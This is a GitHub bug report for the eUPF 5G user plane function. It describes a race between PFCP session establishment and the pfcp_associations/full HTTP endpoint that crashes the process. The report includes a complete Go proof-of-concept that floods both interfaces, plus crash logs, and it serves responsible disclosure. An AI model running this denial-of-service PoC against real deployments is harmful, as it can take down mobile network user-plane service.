Skip to content

[Bug]: UPF crash due to concurrent map access in PFCP association API/api/v1/pfcp_associations/full #632

Description

@LinZiyuu

Describe the bug
UPF crashes due to concurrent map read and write operations when PFCP session establishment requests are processed simultaneously with HTTP API requests to /api/v1/pfcp_associations/full, leading to DoS.
To Reproduce
Steps to reproduce the behavior:

  1. Launch eUPF
sudo docker run -d --privileged --network host \
  -v /sys/fs/bpf:/sys/fs/bpf \
  -v /sys/kernel/debug:/sys/kernel/debug:ro \
  -e UPF_INTERFACE_NAME=lo \
  -e UPF_N3_ADDRESS=127.0.0.1 \
  -e UPF_PFCP_ADDRESS="0.0.0.0:8805" \
  -e UPF_PFCP_NODE_ID=127.0.0.1 \
  -e UPF_API_ADDRESS="0.0.0.0:8080" \
  -e UPF_METRICS_ADDRESS="0.0.0.0:9090" \
  --name eupf ghcr.io/edgecomllc/eupf:main
  1. Start a new go project inside a new folder and create a main.go and paste the code below:
mkdir poc && cd poc
go mod init poc
go get github.com/wmnsk/go-pfcp
  1. Create main.go:
package main

import (
	"context"
	"fmt"
	"log"
	"math/rand"
	"net"
	"net/http"
	"sync"
	"time"

	"github.com/wmnsk/go-pfcp/ie"
	"github.com/wmnsk/go-pfcp/message"
)

var rnd = rand.New(rand.NewSource(time.Now().UnixNano()))

func main() {
	duration := 30 * time.Second
	pfcpAddr := "127.0.0.1:8805"
	apiURL := "http://127.0.0.1:8080/api/v1/pfcp_associations/full"

	ctx, cancel := context.WithTimeout(context.Background(), duration)
	defer cancel()

	var wg sync.WaitGroup

	// PFCP writer: 1 goroutine
	wg.Add(1)
	go func() {
		defer wg.Done()
		stressPfcp(ctx, pfcpAddr)
	}()

	// HTTP readers: 10 goroutines for higher concurrency
	for i := 0; i < 10; i++ {
		wg.Add(1)
		go func() {
			defer wg.Done()
			hammerEndpoint(ctx, apiURL)
		}()
	}

	wg.Wait()
	log.Println("Race PoC finished; check eUPF logs for concurrent map panic.")
}

func hammerEndpoint(ctx context.Context, url string) {
	client := &http.Client{Timeout: 2 * time.Second}
	for {
		select {
		case <-ctx.Done():
			return
		default:
		}
		resp, err := client.Get(url)
		if err == nil {
			resp.Body.Close()
		}
	}
}

func stressPfcp(ctx context.Context, pfcpAddr string) {
	conn, err := dialPfcp(pfcpAddr)
	if err != nil {
		log.Printf("pfcp dial failed: %v", err)
		return
	}
	defer conn.Close()

	seq := uint32(1)
	if _, err := sendAssociation(conn, seq); err != nil {
		log.Printf("association setup failed: %v", err)
		return
	}
	seq++

	for {
		select {
		case <-ctx.Done():
			return
		default:
		}

		seid := rnd.Uint64() | 1
		req := message.NewSessionEstablishmentRequest(0, 0,
			seid, 1, 0,
			ie.NewNodeID("", "", "race-smf"),
			ie.NewFSEID(seid, net.ParseIP("127.0.0.1"), nil),
			ie.NewCreateFAR(
				ie.NewFARID(1),
				ie.NewApplyAction(2), // FORW
				ie.NewForwardingParameters(
					ie.NewDestinationInterface(ie.DstInterfaceCore),
					ie.NewOuterHeaderCreation(0x0100, rnd.Uint32(), "10.200.0.1", "", 0, 0, 0),
				),
			),
			ie.NewCreatePDR(
				ie.NewPDRID(1),
				ie.NewPrecedence(255),
				ie.NewPDI(
					ie.NewSourceInterface(ie.SrcInterfaceAccess),
					ie.NewUEIPAddress(2, fmt.Sprintf("10.60.%d.%d", rnd.Intn(200), rnd.Intn(200)), "", 0, 0),
				),
				ie.NewFARID(1),
			),
		)
		if err := sendMessage(conn, req); err != nil {
			log.Printf("session establishment failed: %v", err)
		}
		time.Sleep(1 * time.Millisecond)
	}
}

func dialPfcp(pfcpAddr string) (*net.UDPConn, error) {
	raddr, err := net.ResolveUDPAddr("udp", pfcpAddr)
	if err != nil {
		return nil, err
	}
	return net.DialUDP("udp", nil, raddr)
}

func sendAssociation(conn *net.UDPConn, seq uint32) (message.Message, error) {
	msg := message.NewAssociationSetupRequest(seq,
		ie.NewNodeID("", "", "poc-smf"),
		ie.NewRecoveryTimeStamp(time.Now()),
		ie.NewUPFunctionFeatures(0, 0, 0),
	)
	return sendAndReceive(conn, msg)
}

func sendMessage(conn *net.UDPConn, msg message.Message) error {
	buf := make([]byte, msg.MarshalLen())
	if err := msg.MarshalTo(buf); err != nil {
		return err
	}
	_, err := conn.Write(buf)
	return err
}

func sendAndReceive(conn *net.UDPConn, msg message.Message) (message.Message, error) {
	if err := sendMessage(conn, msg); err != nil {
		return nil, err
	}
	respBuf := make([]byte, 4096)
	_ = conn.SetReadDeadline(time.Now().Add(2 * time.Second))
	n, _, err := conn.ReadFromUDP(respBuf)
	if err != nil {
		return nil, err
	}
	return message.Parse(respBuf[:n])
}
  1. Run the PoC:
go run main.go
  1. Check eUPF logs for panic:
sudo docker logs eupf

Expected behavior
The PFCP association handler and HTTP API handler must use proper synchronization mechanisms (e.g., mutexes, read-write locks, or sync.Map) when accessing shared map structures. Concurrent map read and write operations should be prevented, and the UPF should gracefully handle concurrent requests without crashing.

Logs

[90m2025/11/13 04:30:01[0m [32mINF[0m Saving FAR info to session: 367, {Action:2 OuterHeaderCreation:0 Teid:0 RemoteIP:0 TransportLevelMarking:0}
[90m2025/11/13 04:30:01[0m [32mINF[0m Session Establishment Request from 127.0.0.1 accepted.
[GIN] 2025/11/13 - 04:30:01 | 200 |     650.854µs |       127.0.0.1 | GET      "/api/v1/pfcp_associations/full"
Error #01: json: unsupported type: chan uint32
[GIN] 2025/11/13 - 04:30:01 | 200 |     651.526µs |       127.0.0.1 | GET      "/api/v1/pfcp_associations/full"
Error #01: json: unsupported type: chan uint32
[GIN] 2025/11/13 - 04:30:01 | 200 |       959.8µs |       127.0.0.1 | GET      "/api/v1/pfcp_associations/full"
Error #01: json: unsupported type: chan uint32
[90m2025/11/13 04:30:01[0m [32mINF[0m Got Session Establishment Request from: 127.0.0.1.
[90m2025/11/13 04:30:01[0m [32mINF[0m 
Session Establishment Request:
  CreatePDR ID: 1 
    FAR ID: 976 
    Source Interface: 0 
    UE IPv4 Address: 10.60.0.2 
  CreateFAR ID: 976 
    Apply Action: [2] 
    Forwarding Parameters:
      Outer Header Creation: &{OuterHeaderCreationDescription:1 TEID:0 IPv4Address:<nil> IPv6Address:<nil> PortNumber:0 CTag:0 STag:0} 

fatal error: concurrent map iteration and map write
[90m2025/11/13 04:30:01[0m [32mINF[0m Saving FAR info to session: 976, {Action:2 OuterHeaderCreation:0 Teid:0 RemoteIP:0 TransportLevelMarking:0}
[90m2025/11/13 04:30:01[0m [32mINF[0m Session Establishment Request from 127.0.0.1 accepted.

goroutine 34 [running]:
reflect.mapiternext(0x4a98e9?)
        /usr/local/go/src/runtime/map.go:1392 +0x13
reflect.(*MapIter).Next(0xc000312ee0?)
        /usr/local/go/src/reflect/value.go:2005 +0x74
encoding/json.mapEncoder.encode({0xc0009e1750?}, 0xc001f826c0, {0xd59e20?, 0xc0000ae120?, 0xa?}, {0xb?, 0x0?})
        /usr/local/go/src/encoding/json/encode.go:745 +0x334
encoding/json.structEncoder.encode({{{0xc00049f208, 0x7, 0x8}, 0xc0004ad1a0, 0xc0004ad200}}, 0xc001f826c0, {0xe1f140?, 0xc0000ae0f0?, 0xc0000ae0f0?}, {0x0, ...})
        /usr/local/go/src/encoding/json/encode.go:704 +0x21e
encoding/json.ptrEncoder.encode({0xc000313260?}, 0xc001f826c0, {0xdfb0a0?, 0xc0000ae0f0?, 0xc00113c001?}, {0x48?, 0x33?})
        /usr/local/go/src/encoding/json/encode.go:876 +0x23c
encoding/json.mapEncoder.encode({0xc001c4c000?}, 0xc001f826c0, {0xd59d60?, 0xc00032e780?, 0xd59d60?}, {0x20?, 0x81?})
        /usr/local/go/src/encoding/json/encode.go:761 +0x4f7
encoding/json.(*encodeState).reflectValue(0xc001f826c0, {0xd59d60?, 0xc00032e780?, 0x150?}, {0x40?, 0xc5?})
        /usr/local/go/src/encoding/json/encode.go:321 +0x73
encoding/json.(*encodeState).marshal(0xc0003135f8?, {0xd59d60?, 0xc00032e780?}, {0x7a?, 0xc0?})
        /usr/local/go/src/encoding/json/encode.go:297 +0xc5
encoding/json.Marshal({0xd59d60, 0xc00032e780})
        /usr/local/go/src/encoding/json/encode.go:163 +0xd0
encoding/json.MarshalIndent({0xd59d60?, 0xc00032e780?}, {0x0, 0x0}, {0xe6ef2d, 0x4})
        /usr/local/go/src/encoding/json/encode.go:176 +0x47
github.com/gin-gonic/gin/render.IndentedJSON.Render({{0xd59d60?, 0xc00032e780?}}, {0x7d4de70dcfc8, 0xc001f1a200})
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/render/json.go:79 +0x83
github.com/gin-gonic/gin.(*Context).Render(0xc001f1a200, 0xc8, {0xfffc68, 0xc000858150})
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:926 +0xcd
github.com/gin-gonic/gin.(*Context).IndentedJSON(...)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:946
github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).listPfcpAssociationsFull(...)
        /app/cmd/api/rest/pfcp_associations.go:45
github.com/gin-gonic/gin.(*Context).Next(...)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:174
github.com/gin-gonic/gin.CustomRecoveryWithWriter.func1(0xc001f1a200)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/recovery.go:102 +0x7a
github.com/gin-gonic/gin.(*Context).Next(...)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:174
github.com/gin-gonic/gin.LoggerWithConfig.func1(0xc001f1a200)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/logger.go:240 +0xdd
github.com/gin-gonic/gin.(*Context).Next(...)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:174
github.com/gin-gonic/gin.(*Engine).handleHTTPRequest(0xc0004b4000, 0xc001f1a200)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/gin.go:620 +0x66e
github.com/gin-gonic/gin.(*Engine).ServeHTTP(0xc0004b4000, {0x1002b10, 0xc0000fa620}, 0xc000856480)
        /go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/gin.go:576 +0x1b2
net/http.serverHandler.ServeHTTP({0xc000121290?}, {0x1002b10?, 0xc0000fa620?}, 0x6?)
        /usr/local/go/src/net/http/server.go:3142 +0x8e
net/http.(*conn).serve(0xc0000f82d0, {0x10056d0, 0xc00032f6b0})
        /usr/local/go/src/net/http/server.go:2044 +0x5e8
created by net/http.(*Server).Serve in goroutine 62
        /usr/local/go/src/net/http/server.go:3290 +0x4b4

goroutine 1 [select, 1 minutes]:
main.main()
        /app/cmd/main.go:144 +0x1255

Environment (please complete the following information):

  • OS: Ubuntu 24.04
  • 5GC kind and version: None
  • UPF version: a8d774a

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions